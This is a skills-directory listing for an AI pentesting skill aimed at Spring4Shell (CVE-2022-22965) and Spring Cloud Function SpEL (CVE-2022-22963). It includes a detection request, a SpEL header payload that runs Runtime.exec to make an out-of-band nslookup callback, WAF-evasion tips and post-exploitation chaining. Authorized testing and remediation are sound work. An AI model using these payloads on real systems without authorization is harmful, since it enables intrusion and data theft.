Skip to content
Back to skills

Spring4shell

ASecurity

Spring4Shell (CVE-2022-22965) Spring MVC/WebFlux data-binding RCE on JDK9+ WAR deployments, plus Spring Cloud Function SpEL RCE (CVE-2022-22963). Detection and safe non-destructive PoC. Tier 1 (RCE honors the authorization gate). Use on Spring Framework targets or when framework-rce routes here.

  • 16 stars
  • 0 votes
  • 0 copies
  • 4 views
  • Added November 17, 2026
securityjavashellexpressspringapibackendsecurity

Works with

  • api
  • mcp

Security analysis

A100/100

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill spring4shell --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Spring4shell?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Spring4shell
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-spring4shell/badge)](https://www.skillsdirectory.com/skills/anandjogawade-spring4shell)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: spring4shell
description: Spring4Shell (CVE-2022-22965) Spring MVC/WebFlux data-binding RCE on JDK9+ WAR deployments, plus Spring Cloud Function SpEL RCE (CVE-2022-22963). Detection and safe non-destructive PoC. Tier 1 (RCE honors the authorization gate). Use on Spring Framework targets or when framework-rce routes here.
---

# Spring4Shell (CVE-2022-22965) + Spring Cloud Function SpEL (CVE-2022-22963)

Spring4Shell abuses Spring's request data binding to reach `class.module.classLoader` and write a JSP webshell. The related Spring Cloud Function flaw evaluates attacker SpEL in a routing header.

## Trigger phrases
`spring4shell, cve-2022-22965, cve-2022-22963, spring rce, classloader, spring cloud function, spel header, spring data binding`

## Preconditions (confirm before exploiting)
CVE-2022-22965: Spring Framework **< 5.3.18 / < 5.2.20**, running on **JDK 9+**, packaged as a **traditional WAR on Apache Tomcat**, using Spring MVC/WebFlux form binding. (Default Spring Boot executable JAR is generally not exploitable.) CVE-2022-22963: Spring Cloud Function **< 3.1.7 / < 3.2.3**.

## Method
1. **Fingerprint:** Spring error pages, `JSESSIONID`, `/actuator`, whatweb; get version via `vulnerable-components`. Identify WAR-on-Tomcat deployment.
2. **Spring4Shell safe detection** — send the class-loader binding params; a non-vulnerable app ignores them, a vulnerable one accepts the binding (observable as a changed Tomcat access-log pattern / 200 vs 400 differential) WITHOUT writing a shell:
   ```
   POST /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1
   Content-Type: application/x-www-form-urlencoded

   class.module.classLoader.URLs[0]=0
   ```
3. **Safe PoC (gated):** rather than a live webshell on prod, set a harmless log pattern/prefix to a unique marker and read it back, or deploy a shell that only echoes a random token to prove write+exec, then remove it. Public PoCs set Tomcat `AccessLogValve` pattern/suffix/dir to drop a JSP under the webroot.
4. **Spring Cloud Function (CVE-2022-22963) SpEL:** route-expression header evaluates SpEL — OAST-safe probe:
   ```
   POST /functionRouter HTTP/1.1
   spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"nslookup","<id>.OAST"})
   Content-Type: text/plain

   data
   ```

## Modern / rare techniques
- **Non-Tomcat containers / non-WAR**: binding may still be reachable via other class-loader gadgets — fingerprint the container; absence of a JSP webroot ≠ not vulnerable for the data-binding flaw.
- Confirm blind cases (22963) strictly via OAST before concluding.

## Bypass / evasion
WAFs key on `class.module.classLoader` — try case/`[]`-vs-`%5B%5D` encoding, nested binding paths. `${CLAUDE_PLUGIN_ROOT}/payloads/waf-bypass.md`, `${CLAUDE_PLUGIN_ROOT}/payloads/ssti.md` (SpEL gadgets).

## Escalation / chaining
JSP webshell / SpEL exec → RCE → `linux-privesc`/`windows-privesc`, secret read, `cloud-pentest` (IMDS). Related actuator SpEL → `api-security`.

## Backend & tooling
Preferred Kali path (native / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike / Metasploit-MCP). nuclei `CVE-2022-22965`/`CVE-2022-22963` templates for triage; manual PoC via Burp Repeater. See `zazy-orchestrator`.

## Verification (background, before reporting)
Re-confirm with a second vantage: OAST callback (22963) or unique-token read-back (22965). Reproduce twice; remove any artifact written. Report true positives only.

## Evidence
Version proof, detection request/response differential, OAST hit or token read-back, confirming the version is in range. Remediation: upgrade Spring Framework ≥5.3.18/5.2.20 and Spring Cloud Function ≥3.1.7/3.2.3; disallow binding to `class.*`; JDK/WAR hardening.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.